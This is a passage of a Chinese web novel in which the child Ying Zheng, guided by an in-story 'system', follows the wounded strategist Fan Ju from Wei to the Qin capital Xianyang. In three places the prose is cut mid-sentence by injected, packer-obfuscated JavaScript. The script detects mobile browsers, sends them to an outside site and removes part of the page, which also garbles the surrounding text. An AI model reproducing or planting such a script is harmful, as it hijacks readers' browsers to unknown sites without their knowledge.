希望他的衣裳洗洗还能穿,这身衣裳是他为了赴宴特意做的,用了三匹不同色的布匹呢。郑安平从车上跳下来,心如死灰地扶住范雎,心疼地看着被沾污的衣裳,招呼车夫一并把范雎抬上马车。
范雎瘫在车厢里,气若游丝,全靠一股恨意撑着。冰冷的夜风灌入喉咙,断肋处火辣辣地疼。他“哇”地吐出一口鲜血,溅在车板上。
我不能死。我还没名扬天下。
范雎不肯闭上眼皮,他死死瞪着头顶乌黑的天。
一阵柔软的触感擦拭着他的脸,范雎涣散的目光慢慢聚拢,只见一个半大孩童垂眸蹲在身前,正用湿布,轻轻擦拭他脸上的血污。
范雎心中不合时宜地冒出一个念头:纵是此刻死了,好歹颜面干净。
这么想着,范雎努力挤出一点笑容试图安抚嬴政。却在下一刻,再也支撑不住重伤的身躯,双眼一黑,彻底昏死过去。
只有一声稚嫩的叹息在他耳边拂过。
当夜,范雎果然发起了高热。
郑安平请了游方大夫,几副药汤灌下去,其余也只能听天由命。
夜深了。
烛火在案头轻轻摇晃,将嬴政的影子拉长,投在范雎苍白如纸的脸上。范雎躺在榻上,冷汗浸透了额发,眉峰紧蹙,呼吸间带着破碎的嘶声,仿佛正被无形的梦魇撕扯。他唇色发青,手指无意识地抓握着被褥,痛苦挣扎。
嬴政坐在矮榻边,一动不动。烛光在他漆黑的眼珠里跳动,映出一片沉静的暗色。
他看着这个在他的记忆中名震天下、让赵人咬牙切齿的人,这张脸此刻却满是痛苦与狼狈。几个时辰前,此人被拖行于地,被泼污秽,被踩进泥泞。直到现在,这个人都还在生死之中挣扎。
窗外传来秋虫断续的鸣叫,月光透过窗纸,在地面铺开一层薄薄的清霜。
嬴政的目光没有移开。他看着范雎每一次艰难的喘息,每一次胸口的微弱起伏,神情复杂无比。
原来范雎——这个以一言翻覆战局、名动天下的秦国国相,他曾祖父最信任的臣子。他现在是如此落魄屈辱,连生死都只能悬于他人一念。
他从未如此清晰的渴望权力。
一道没有感情的机械电子音忽然响起。
【野心(紫)升级为野心(金)
备注:你已不仅渴望回归秦国。】
嬴政面无表情听着耳边响起的系统播报声,毫不意外词条技能的改变。
108号:【……】
这也太不对劲了。
按说八岁小孩目睹“小人物逆袭”的范例,本该受到激励,或者感悟到“人才不可轻视”才对吧。
这陡然攀升的对权力的欲望是怎么回事?
4. 第 4 章
范雎在生死线上挣扎了整整三日。第四日清晨,高热终于退去。
他整个人瘦了两圈,肋骨折断的剧痛与伤口溃烂引发的高烧,将他生生熬成了皮包骨头。那双嵌在眼眶中的眸子,却比三日前更加炯亮,像两颗寒星,冷峻而深邃。
就连郑安平不知从哪寻来的游方老医都啧啧称奇。
那医者年近六十,下巴蓄着四寸长的花白须子,说话慢悠悠,腰间还坠着两片占卜用的龟甲。这倒不稀奇,此时巫医尚未分家,魏国又与巫蛊之风盛行的楚地相邻,医家子弟多少会些阴阳术数。
老大夫给范雎诊完了脉,啧啧称奇,捋着那撮白须硬要给范雎相面:“肋骨断了三处,腿骨断了一处,高烧三日……硬是让你熬过来了,命硬,真是命硬。老夫行医大半辈子了,头回见这么硬的命。”
范雎躺在榻上,大病初愈,连挣扎的力气都没有,只能任凭一双枯树皮一样的老手在自己脸上摸来摸去。
老大夫摸完了骨,故作深沉,眯眼抚须:“了不得,大难不死,必有后福,你这后生有王侯的命格。”
一旁的郑安平听得心痒,期期艾艾摸出一角金块,肉疼地塞过去:“您老给我也摸摸,看我往后能不能当个将军?”
老大夫连连摆手:“不必看,你就没那个本事。”
“嘿,你这老头——”郑安平拉着脸。
老大夫却不怕他,把药箱一背,起身就走:“你安心做你的贾人就是。”
郑安平气不过,追在后面非要他说两句好话。路过外室时,老大夫脚步忽地一顿,目光落在跪坐在竹席上看书的嬴政脸上。
“咦?”老大夫忽然定定站住。
“这是你外甥?”
郑安平没好气:“不是我外甥还能是你外甥?”
老大夫极快地扫视一眼,喃喃:“怪哉,世上怎会有如此又凶又贵的面相。”
他竟一点也瞧不透这孩子,只觉凶险与奇贵交织,竟比他曾远远瞥见的魏王,更令人心头发悸。
这念头如电光般在他心中一闪,旋即又摇头失笑,只当是自己学艺不精。魏王已是一国之君,六国之主至多与之相类,天下岂有更尊之相?定是自己老眼昏花了。
他嘀咕的声音极轻,轻的连追在身后的郑安平都没有听清,只隐约听到老头看着嬴政说了句什么。
“你倒是说清楚啊!”郑安平急地跺脚,追着老头出了院门。
身后跪坐于席的嬴政抬起头,盯着老大夫的背影也是一头雾水。
“108号,那个老叟说了什么?”嬴政在心中默问。
108号如实转述了老大夫的话。
嬴政自嘲一笑:“凶险这些年我倒是没少经历,至于富贵……”
嬴政渐渐收敛了神情和声音。片刻后,才低下头,把心思重新放在竹简上。
小半个时辰后,郑安平惊慌失措跑进屋内,立在范雎榻前压低声音:“祸事了!国相府贴了告示,正通缉你!”
此刻,郑安平有些后悔将范雎带回来了。
闻声而来的嬴政听出郑安平话中的懊恼,心中一动,并不作声,只饶有兴致地侧目看向榻上的范雎。
范雎对魏齐的通缉不觉意外。魏齐再蠢,不见尸体也该猜到他未死。
他轻咳一声,挣扎欲起,面有难色:“雎不能拖累恩公……请将我交与魏齐罢。只是此人狭隘,杀我恐不足泄愤,若牵连恩公……”
郑安平对魏齐也有几分了解,知道魏齐为人,暗骂一声,连忙按住范雎:“先生这是哪里话!我岂是那等背信之人?既将您带回了家中,就万不会将您交给魏齐那等人。”
范雎顺着他的力道躺回榻上,方才的为难之色已烟消云散,眼底笑意一闪而过。
郑安平唉声叹气。事到如今,无需范雎多言利弊,他也明白自己与范雎已是一条绳上的蚂蚱。范雎若落到魏齐手里,他也逃不掉从犯之罪。
想起宴席上魏齐折辱范雎的那一幕,若将范雎换成自己……郑安平不寒而栗,狠狠打了两个哆嗦。
不行!无论是要投资范雎翻身,还是要躲开魏齐报复,都必须设法送范雎离开魏国!
“我想法子把你送去齐国。”郑安平咬牙道。
范雎睁开眼,吐出两字:“不可。”
“为何?”郑安平瞪大眼睛。
嬴政也露出疑惑。那日宴上分明听得清楚,范雎是因受齐王赏赐才被认定叛魏。既已得齐王赏识,投齐岂非顺理成章?
只是嬴政不似郑安平焦躁。他早知范雎终将入秦,此刻只静待其解释,并暗自学习。
……毕竟在便宜舅父郑安平、八岁的自己,名震天下的未来秦相范雎之间,骄傲如嬴政也清楚,此刻谁是真有本事。
“其一,我若投齐,身份必露。齐国势弱,必不愿为我与魏齐交恶。其二,齐国朝政尽归田氏,齐王不过傀儡,不足与谋,我投靠他也无出头之日。”
范雎冷静剖析,继而道出早已想定的去处:“我当投秦。我在须贾身边时,听闻秦使将至魏国,还劳恩人代为打探秦使行踪。”
唯有秦国、只有秦国……他要如昔年张仪一般,一怒而天下惧!
郑安平嘀咕:“可秦国如今不也是芈太后和穰侯做主?”
范雎淡淡一笑,未再言语。
“‘范雎’这个名字不能再用了。”郑安平沉吟片刻,瞥见一旁正襟危坐、实则竖耳聆听的嬴政,眼神忽亮。
他将嬴政拉到榻前:“这是我外甥张政,前些时日方从赵国来投。对外便说,你是他叔父,半路遭盗匪劫掠,折磨数日,方被我赎出。如此,你这一身伤也说得通了。”
他越想越觉得此计甚妙,唯一的变数,只怕是范雎有那些士人死要脸面、宁折不弯的脾性。
“一切听从恩人安排。”范雎语气平淡,眼皮都不眨一下。
活下去,远比他那点数日前就在魏齐府上被寸寸碾碎的颜面重要。
“若先生有空闲,能教导您这犹子一二便再好不过了。”郑安平心里打着算盘,语气亲切。
再不济,还能省下一笔请先生的钱。
范雎笑起来:“那在下便厚着脸皮,攀这门亲了。”
郑安平离开去打探秦使消息了,嬴政留了下来。
屋内只有一大一小两个人。
范雎望着自己如今这个假身份的便宜侄子,难得有些无措。
和孩童该聊什么?
范雎试图使自己的智商降到比须贾和魏齐更低的程度,轻声哄道:“莫怕,我非恶人……你多大了?”
嬴政抬起黑沉沉的眼珠,一言难尽地看向他,脸颊软肉缓缓鼓了起来。
他看起来像傻子吗?纵是现下不及范雎聪慧,可方才屋里三个人,他绝对也不是读书最少的那一个。
“九岁。”嬴政面无表情道,两只黑葡萄似的眸子直勾勾盯着范雎。
他想着自己从小听赵人咒骂范雎的那些话,仇人的仇人,秦国的相国,算自己人。
嬴政慢慢道:“你在利用他。你如今连面都不能露,欲往秦国,他便是你唯一能攥住的救命稻草。”
范雎一怔,随即意识到“他”指郑安平。他惊讶地打量嬴政,收起了哄孩子的作态。
“各取所需罢了。”范雎语气平和,既不遮掩,亦不修饰。
糊弄一个孩童,对范雎而言轻而易举,纵使这孩子较常人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344869|199492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
早慧。但他未选择以纵横家的话术相欺。
现在他是“张禄”,是这孩子的叔父。他对郑安平的利用是真的,对其救命之恩的感激也是真的。
范雎顿了顿,问:“你以为我对郑公包藏祸心?”
“不是。”嬴政否认,眉头却皱得更紧。他知道这是利益交换,就像吕不韦和他父亲嬴异人那样,范雎对郑安平而言,也是“奇货可居”。
眼下实在不是该笑的时候,可看着一个脸颊软肉还没褪去的孩子努力摆出严肃模样,范雎还是忍俊不禁。
“范先生如今一无所有,怎能笃定我舅父一定会帮你?”嬴政语气看似随意,耳朵却早已悄悄竖了起来。
嬴政假装看不到范雎脸上的笑容,毕竟现在是他有求于人。
“郑公救我,图的是什么?难道是我范雎此刻一文不名的感激?”范雎收起那点逗趣的心思,很快进入了教导的状态。
毕竟他已经答应郑安平要将嬴政当做弟子教导。
……就是郑安平没想到范雎教给嬴政的不是识字读书,而是上来就教纵横之术。
嬴政毫不犹豫:“借先生之名,摆脱商贾贱籍。”
范雎身体微微前倾,烛光在他深陷的眼窝里跳动:“若在下日后见信于秦王,必荐郑公共图大事。郑公自然愿意倾囊助我。”
嬴政忽问:“若他已先济他人,所图已得,又为何要助你?”
“所图已得?”范雎轻轻重复,嘴角噙着一丝冷峭,“人心欲壑,何时能填平?今日得一金,明日便想十金;今日为小吏,明日便望公卿。”
说完之后范雎才察觉到他面前的人只是一个稚子,后知后觉他这番话太残酷了。
“书房中的那些竹简你可读完了?”范雎见势不妙,立刻掏出了古代版本的“作业写完了吗”堵住嬴政。
嬴政:“……”
嬴政慢慢垂下眼,看着自己还带着孩童圆润的指尖,目露苦恼。
所以他若想得到吕不韦相助,也得拿出他父亲给不了的东西?
随后一月,郑安平在外奔波,打探秦国使者的消息;范雎则闭门不出,一边养伤,一边专心教导嬴政。
嬴政犹如掉进肉堆的小老虎,日日跟在范雎身后。他也不拘哪家学问,范雎敢教,他便敢学。
范雎要去秦国求仕,嬴政对秦国又怀有百般渴望,教学便多围绕秦国展开。
【你获得技能词条:秦律(白)】
【秦律(白)升级为秦律(绿)获得技能词条:法家入门(白)】
【你学会了诡辩之术】
【获得词条:纵横家入门(白)】
……
天朗气清,一列车队自秦国而来,缓缓驶入魏国都城大梁的西侧高门。
这支使团的领头官员名叫王稽,奉秦王嬴稷之命出使魏国。
自商鞅变法,秦国国力日盛,始终图谋东出函谷。虽曾被苏秦合纵六国逼回关内,虎狼之心却未曾稍减,依旧四处探听列国动静。
王稽此行,却不止为打探魏国情报。
一番使节往来的礼仪过后,魏国官员客客气气地将王稽请至驿馆安置。
自伊阙之战大败于秦,魏国对秦便是又恨又怕。那官员将王稽安顿妥当,便匆匆离去,打定主意不与这位秦使多言,只求好吃好喝应付过去便罢。
王稽也不在意,安然入座,取了些财物打赏驿馆小吏,随即闲闲问道:
“魏国可有什么贤能之士?”
——这才是他此行的真正目的。秦王身边缺人,特地命他私下前来,在商鞅、张仪的故国寻访贤才。
秦国缺人才怎么办?
那就来魏国找。
5. 第 5 章
“小人的确知道有一个贤才,此人名叫张禄。”随侍的小吏抬起头,露出一张谄笑的脸。
正是郑安平。
在秦国使者队伍进入大梁之前,郑安平便已经打听好了秦国使者要住的驿馆,用钱贿赂了官员,谋了一个小吏位置。
王稽果然来了兴致:“此人身在何处?你且叫此人来见我。”
“此人与朝中权贵有旧怨,不能现身人前。”郑安平压低声音,身子躬得更低,“若使者愿见,他可入夜后前来拜会。”
王稽兴致更高,当下允了郑安平的请求。
巧了。商鞅当年是逃出魏国的,张仪也是受辱后去的秦国。这张禄又与魏国权贵有怨,正合秦国的胃口啊。
郑安平心中一块大石落地,匆匆赶回家中,直入后院书房。
门内果然传来范雎与嬴政一答一问的声音。这场景他已见惯了,此刻却无暇多听。
“快换衣裳。”郑安平急声催促范雎,“我已与那秦国使者说好了,他今夜在驿馆中等你,你走后门进去,莫要让人瞧见。”
范雎闻言,只淡淡一笑,抬手用指节轻叩了一下侧头偷听的嬴政脑门。
“静心。”
嬴政扯扯嘴角,把视线移回了竹简上,一双耳朵却高高竖起。
郑安平急的跺脚:“到了什么时候了,功败垂成就看今夜,范兄还不快些洗漱。我已备好了厚礼,且送于那使者……”
“不必。”范雎抬手按住郑安平,语气笃定,“秦国使节不是为钱财而来。”
郑安平却还拗不过来:“若无重金开路,他岂肯为你多此麻烦?”
范雎沉默片刻,轻叹:“秦国与魏国不同。”
天色黑透。
郑安平亲自驾车,将范雎从驿馆后门送入,便匆匆返回。大梁夜禁森严,他不敢在外久留,只得回家苦等。
更漏滴到五更,郑安平在厅中来回踱步,坐立难安。
“也不知那范雎能不能被秦国使节看上。”郑安平喃喃自语,掌心全是冷汗。
他在范雎身上押的注太大了。若不成,钱财事小,得罪了魏齐才是灭顶之灾。无论成与不成,魏国他都待不下去了。
嬴政也没有睡下,他手中握着一卷竹简,半个时辰都没有翻动。
他要想个法子跟范雎一起去秦国。
不,应该叫回秦国。秦国本就是他的故乡。
嬴政闭了闭眼,试图想象赵姬向他描述过的咸阳。可什么都想不出来,他没去过咸阳,赵姬也没去过咸阳。
他只能想起邯郸和大梁,那是赵国和魏国的都城,不是秦国的咸阳。
“舅父。”嬴政忽然扯了扯郑安平的衣袖,扬起小脸,眼圈微红。
“先生要离开魏国了吗?咱们日后还能再与先生相见吗?”
郑安平略微惊讶。他这个外甥平日总是严肃着脸,还认生,半年了一共也没喊过他几声舅父,更别说这么依赖他的时候了。
顿时,郑安平飘飘然了起来。
“嗯,范兄他定能得到秦王重用……”
嬴政落寞道:“先生做了秦国的官,就不会理我们了吧。就像那日相府里的贵人,他们都嫌商贾低贱。”
【啊我死了!崽崽别哭!】
【主播这委屈小表情,截图了截图了!】
嬴政这张脸实在太具欺骗性,愣是从一群备战期末周的大学生观众里抠出了一批妈粉。
能看到后台弹幕的108号:【……】
以它对嬴政的了解,它觉得嬴政现在可怜兮兮的模样九成九是装出来的。
郑安平却被嬴政这番话勾起了担忧。
他坐立不安,屁股在竹席上扭来扭去,过了好一会,他支支吾吾看向嬴政:“你说,要是范雎去了秦国,万一真扭头就把咱们忘了怎么办?”
他是商贾,见多了人走茶凉。何况前不久刚经历了花费重金打通关系去魏齐府上赴宴,却被视而不见的那一遭事。
嬴政轻声提醒:“是张先生,舅父莫要叫错了。”
“纵使先生能入秦为官,想来一时也难与魏相抗衡。张禄这名字,怕还要再用上几年。”嬴政缓缓站起,走到厅门边,望着院外沉沉的夜色。
他语气低沉,难掩失落:“要是先生真是我的叔父就好了。我就能名正言顺跟着叔父去秦国,舅父也能去秦国陪着我。”
郑安平猛然转身,眼中迸出光来:“对啊!你是他‘犹子’!”
背对着郑安平的嬴政嘴角迅速勾了一下,又压了回去,他抬头看着夜空。
今夜的月光真好啊。
月过中天,嬴政等了一会便去睡了。郑安平却无论如何睡不着,硬撑着在厅中等。
鸡鸣三遍,晨露未晞,一道身影推开厅门。
木门吱呀一响,惊醒了倚柱打盹的郑安平。他慌忙起身,迎上前去。
范雎披着一身深青色长袍立在门口,衣料是上好的细绫,在熹微晨光中泛着柔润的光泽。他连日的憔悴与紧绷,已从眉宇间褪去,嘴角噙着一抹从容的浅笑。
“事成了。”他言简意赅,“我已与王大夫约好,七日后,三亭之南会合。”
“啊——”郑安平先是狂喜,随即手忙脚乱想寻酒来贺,一扭头见案上空空,又懊恼自己怎未提前备下酒水。
郑安平一边懊恼,一边迎上去挤出一个笑:“恭贺先生了!”
他的眼神落在范雎身上那件深青色的华贵长袍上,态度就不自觉露出了几分诚惶诚恐。
此时以正色为尊,青、赤、黄、白、黑为“正色”,贵族专用,平民只能用间色,不可僭越。
就像范雎身上这件一夜之间多出来的衣袍一样,郑安平忽然意识到了范雎现在已经和自己不一样了。
范雎静静看了他片刻,抬手,从容褪下外袍,露出底下那身自郑府穿出去的旧衣。
“霜重露寒,王大夫恐我受凉误事,暂借的。”他走向席边,安然坐下,自斟了一碗凉水,“阿政呢?还未起身?”
“叔父。”嬴政从内室门边转出来,声音带着刚睡醒的微哑。
他本就睡在内室榻上,睡的也轻,外间动静一起便醒了。
范雎挑眉:“叔父?”
虽说二人是名义上的叔侄,可事实如何,二人心里都门清。这几个月,嬴政也一直都尊称范雎为“先生”,范雎也只当嬴政是自己的弟子。
郑安平硬着头皮开口:“魏齐势大,‘张禄’这个名头,先生想来还得再用上几年……我、我也打算变卖魏国的产业,去秦国寻些生计。”
话里话外的意思就是希望范雎能带着嬴政这个“犹子”一起去秦国,既全了名分,也留了日后相见的由头。
范雎略一沉吟,便了然于心,爽快应下:“郑兄放心,阿政既唤我一声叔父,我自会照料周全。”
郑安平见他应得痛快,心头大石落地,脸上这才绽出真切笑意
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344870|199492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“我去备些酒菜,给先生贺喜,也用顿踏实早饭!”
他高高兴兴地张罗去了。
“先生若乏了,可去内室歇息片刻。”嬴政侧身让开一步。
范雎盯着嬴政数息,无奈失笑:“你啊,你啊,怎么小小年纪,就这么多心眼呢?”
嬴政抬起一张无辜的脸,装傻道:“什么?”
“郑兄率直。”范雎伸指,虚虚点了点他额头,意味深长,“不似某人。”
嬴政只当听不懂。
嗯,他这是为长者避讳,才只能假装听不懂范雎说郑安平傻乎乎的。
*
七日转瞬即过。
秦国使团结束使命,车队西行,黄昏时抵达魏境附近的三亭。人马在驿站略作休整,亭卒忙着喂马饮水,王稽独自踱至亭南。范雎已带着嬴政在此静候多时。
见范雎身侧跟着个半大孩子,王稽略问几句,得知是其仅存的“亲眷”,便欣然颔首。
连家小都一并带上,这分明是铁了心要在秦国扎根的架势。好,很好,这才是投奔秦国该有的态度嘛。
随着车声辘辘,车队再度启程,向西驶入苍茫夜色。三日后,他们顺利通过陕城,进入秦国函谷关。
这日,范雎远远望见一队车骑自西而来,旌旗招展,仪仗煊赫,便问:“那是何人的车驾,如此声势?”
“是穰侯东巡,去他的封邑。”王稽脸上掠过一丝不安,身子不自觉地绷直了。
范雎见他神色,心中了然:“我先避一避。”说罢一把拉过正在车边张望的嬴政,闪身钻入车厢。
“嘘。”见嬴政要开口,范雎竖指于唇。
嬴政立刻噤声,在车中屏息静坐,右手已悄然探入袖中,握住捆在臂上的匕首。
整个人紧绷着背,像一只戒备中的小豹子。
范雎哑然失笑,抬手拍拍嬴政,示意事情没到这个地步。
片刻后,车厢外果然响起了交谈声。
一个陌生的嗓音带着威势,问王稽是否带了诸侯说客入秦。王稽含糊应付过去。
马蹄声渐远。
“穰侯已去,先生可出来了。”王稽掀开车帘。
范雎却眉头紧锁,拉着嬴政一跃下车:“不对。穰侯既知大夫从魏国带了人,方才未搜车,必会折返。我先带阿政步行回避,在前方城外汇合。”
不待王稽应答,他已扯着嬴政闪入道旁林间,三两下便没了踪影。
嬴政一言不发,迈开腿紧跟着范雎在林中小跑。
约莫行了五里,范雎终于停步。
“歇歇。”他将水囊递给气喘吁吁的嬴政。
不等嬴政发问,范雎已低声解释:“魏冉开口便问是否带了别国说客,定是队中有人报信。他早知王稽携我入秦,特来拦截。人未搜到,他不会罢休。”
嬴政闻弦歌而知雅意,立刻明悟:“王稽在魏国搜寻贤才,是受王命,穰侯事先并不知情。”
“他不想让大王得到贤才!”嬴政脱口而出。
范雎缓缓道:“穰侯是太后胞弟,把持朝政,自然不欲大王身边有可用之才。”
“风云际变,这是咱们一举成名的机会啊。”范雎忽然笑了,眼中精光闪烁。
瞬间,嬴政觉得肺腑间有什么东西被“蓬”地点燃了。
是一股顺着血脉烧上来的火焰,烧得他耳根发烫,指尖发麻。嬴政缓缓、缓缓地攥紧了拳,指甲抵进掌心的嫩肉里。
6. 第 6 章
躲过穰侯的搜捕,范雎和嬴政顺利在下个城池与王稽汇合,一路畅通无阻进入咸阳。
甫一入城,王稽甚至不及安顿二人,便匆匆入宫述职。
两个时辰后他方回,对范雎的态度却淡了几分。
“大王国务繁冗,暂不得空召见先生。”王稽言语留有余地,“想来过些时日便会接见。”
说罢便吩咐仆人领范雎与嬴政去安顿。
二人被引至一处窄小院落。院门略显陈旧,门槛漆皮掉落,露出了里面被虫蚁蛀空的木头。
推开门,一股灰尘味扑面而来。
嬴政看着这与他在邯郸暂居之所相差无几的简陋房舍,眉头微蹙。
范雎倒是神色自若,挽起袖子便动手洒扫,阻了欲上前帮忙的嬴政。
“一路舟车劳顿,你也累了,拿着钱出去玩吧,别走远了。”范雎结下钱袋,抛给嬴政。
秦国法制严苛,咸阳街上有巡街的“求盗”四处巡逻,此处又在内城,治安还是很好的。
嬴政犹豫了片刻,终究还是对咸阳的向往占据了上风。
横竖晚上归来再问范雎打算不迟。
他努力板起小脸,学大人般权衡利弊,眼底跃动的光却泄露了心事。
“记得带上王大夫给的木传。”范雎笑着嘱咐一句。
木传是秦国用来证明身份的东西,若无木传,就会被视为歹人。
嬴政欢快跑向院外,带二人前来的仆人在范雎的示意下跟上了嬴政。
仆从追至巷口,却见嬴政立在街边柳树下,静静望着不远处几个嬉闹的孩童。
那孩童头扎双髻,缠着赤锦,身上一袭细葛深衣,手里还提着一柄木剑。脸色红润,个头也比其他孩童高出一截,其他几个孩童都围着他玩。
“那位是蒙将军的公子蒙武,这一片的孩童都爱跟他玩。小主人可去寻他作伴。”仆从操着生硬的魏语。
他是王稽专门从驿馆暂拨过来的仆人。考虑到魏国和秦国方言大相径庭,王稽专门找了个会说魏语的下仆来协助嬴政二人适应秦国。
嬴政只是沉默站在原地,孤零零站在街上。
他听不懂那几个孩童说话。
十里不同音,何况赵国邯郸与秦国咸阳相隔千里。
他听不懂……自己的故乡的方言。
下仆也想起来了这位小贵人才从魏国过来,忙道:“是仆疏忽了,您是魏国人,自是不惯咱们咸阳的腔调。”
“我不是魏人。”嬴政冷冷打断,转身折返。
范雎刚铺好床褥,正揉着发酸的腰,推门便见嬴政攥着扫帚在院中扫地,诧异道:“这么快就回来了?”
嬴政一言不发,低头扫地,恨不得用扫帚把地面捅一个洞。
范雎看向仆从,听罢缘由,哑然失笑,挥手让人退下。
院中只剩二人,范雎劝慰:“你是赵人,听不懂秦音实属常情。便是我这般年纪,初来乍到也需时日适应。”
一路上他们与王稽皆用雅言交谈。如今入了咸阳,满街秦声,雅言反倒稀闻了。
嬴政掷下扫帚,抬起头,一字一句道:“我不是赵人。”
他是秦人,他身上流着秦国王室的血,他是秦王曾孙。
……他只是,听不懂秦语,未生于秦土,亦未尝踏足秦地。
范雎看着恶狠狠扫地的嬴政,摇了摇头,觉得有时候小孩的心思比君王的心思都难猜。
二人一番洒扫洗刷,总算在宵禁前将小院收拾出个模样,唯余满地水渍未干,映着将沉的暮色。
范雎累得不顾士人风度,气喘吁吁坐在桌案上捶腿。
“身子骨到底是不比先前了。”范雎的声音低沉下去。
在魏齐府中的生死劫,无论在心上还是在身体上,都给他留下了深入骨髓的痕迹。
嬴政走到他跟前,仰脸问:“大王没瞧上先生,我们接下来当如何?”
范雎眉梢微动:“你怎知大王没瞧上我?”
“我若觉谁是贤才,定赐他高门大院和数不清金银仆役。”嬴政环视这窄小院落,轻轻叹了口气。
和他想的一点也不同。他原以为入了咸阳,范雎便能即刻得见他的曾祖父嬴稷,而后君臣一见如故,立时成就一段震动天下的佳话。
范雎看着嬴政年纪小小就一副老成的模样,笑出了声。
“午后你还一副苦大仇深的模样,怎的眼下倒有闲心来操心我了?”
嬴政板着脸,声音平直:“苦大仇深又没用。”
无论他是否生在秦地,在现世中能否回到秦国,起码此时此刻,他就站在咸阳的土地上。
既听不懂秦语,那便从此刻学起。在副本里丢“商贾之甥张政”的脸,总好过日后在现世归秦,丢“秦王曾孙嬴政”的脸。
反正副本里没人知道他是嬴政。
“不急,需先探明朝中局面。”范雎眉间也掠过一丝凝重。
“得先知晓君王所忧何事,方能急君所急,为君分忧。”
二人便在这偏僻小院暂住下来。此处说偏,却也不算太远。王稽到底知范雎之才,未将他安置在鱼龙混杂之处。四邻多是这些年凭军功新起的中层将领,反倒方便范雎探听消息。
时日一晃,一月已过。
嬴政已经练出来一口地道的秦国口音,学习速度之快让范雎都啧啧称奇。
这日,嬴政在街头远远望着挥舞木剑、呼喝嬉闹的蒙武,眯了眯眼。
蒙武之父蒙骜,原为齐人,后入秦为将,作战骁勇,颇得武安君白起信重。
这个小屁孩一副咋咋呼呼的模样,看着就好忽悠。
嬴政快步走向蒙武,在他身侧停住了脚步,重重的“哼”了一声。
声音中的轻蔑,足以让蒙武听得清清楚楚。
蒙武吸了吸鼻涕,“哇呀”一声窜到嬴政身前,大喊:“你这家伙,是不是瞧不起我?”
周围执木剑的孩童也呼啦啦围了上来,个个气鼓鼓瞪向嬴政。
嬴政负手而立,目光扫过一圈:“一群竖子,只知持木剑嬉闹。”
“嘿!有本事同我比划比划,看看谁才是没用的!”蒙武龇牙咧嘴,示威般挥了挥手中木剑。
嬴政慢条斯理抽出袖中匕首,亮了亮寒光闪烁的刀刃。
“我可不玩假把式。”
“哇!”蒙武顿时被吸引住了,两眼牢牢黏在刀锋上。纵是将门之后,他这般年纪,父亲也从不许他碰真刀真剑。
“不过,对付你,还犯不上用它。”嬴政在蒙武直勾勾的注视下缓缓收刀入鞘,转向旁边一个孩童,“木剑借我一用。”
那孩子吓了一跳,被嬴政气势威慑,下意识递过木剑。
嬴信挽了个简单的剑花,朝蒙武勾勾手指:“来。”
他暗中观察了数日,早摸清蒙武尚未正经习武。自己在赵国街头跟游侠儿、郑安平学的那几下三脚猫功夫,对付
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344871|199492||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这小子,足够了。
数个时辰后,天色将黑。
范雎匆匆回到院中,把手中拎着的吃食递给嬴政:“吃吧。”
嬴政把黍饼放在面前,矜持地轻咳一声,把范雎目光吸引过来后才开口抛下一句话。
“白起不站在魏冉那边。”嬴政轻描淡写。
范雎动作一顿,艰难把嘴里干巴的饼子咽下去,惊讶道:“什么?”
嬴政得意扬起了下巴,把他一下午从蒙武和其他将领子嗣口中套出来的话复述了一遍。
“故而,白起虽曾受魏冉提携,却非其私党。他心中只有秦国,谁主朝政,于他并无分别。”
范雎猛地起身,在堂中疾走数步,抚掌道:“好!得此消息,往后诸事便有眉目了!”
他忽地停下,冷静下来,看向嬴政:“你怎知我正为此事忧虑?”
嬴政理直气壮:“我听见你说话了。”
“偷听?”范雎挑眉。
“正大光明听的。”嬴政挺直脊梁,神色间带着点小得意,“所以我想,那些孩童在家,定也常听见父辈闲谈。他们傻乎乎的,最好套话。”
谁会防备自家孩子偷听呢。
范雎哭笑不得,指着嬴政:“你不也是稚子?”
嬴政反问:“那先生莫非与那些寻常庸人一样?”
二人对视,双双一笑。
在范雎尚未真正踏入秦国权贵圈层之前,嬴政已悄然攻占了这一片的将门子弟圈。
连先前的孩子王蒙武都整日跟在嬴政身后喊“大哥”。
嬴政身上仿佛有种与生俱来的统御之力。不过短短时日,连那些比他大几岁的将门子弟都大多对他心悦诚服,隐隐以他为首。
嬴政一面做着孩子王,一面从这些孩童口中看似天真的童言稚语里,敏锐捕捉、拼凑出有价值的碎片,再转递给范雎。
这些孩子虽大多心思单纯,却对自家父兄的脾性、交往、乃至不经意间流露的喜恶了解很深。
不过半年光景,一张盘根错节、却脉络渐清的秦国朝堂关系图,已在范雎胸中悄然织就。
“该给大王上书了。”范雎搁下手中刻刀。
“太后的两个弟弟,穰侯和华阳君;大王的两个同母弟弟,泾阳君和高陵君,其私财竟厚于王室。”他语气笃定,眼中掠过冷光。
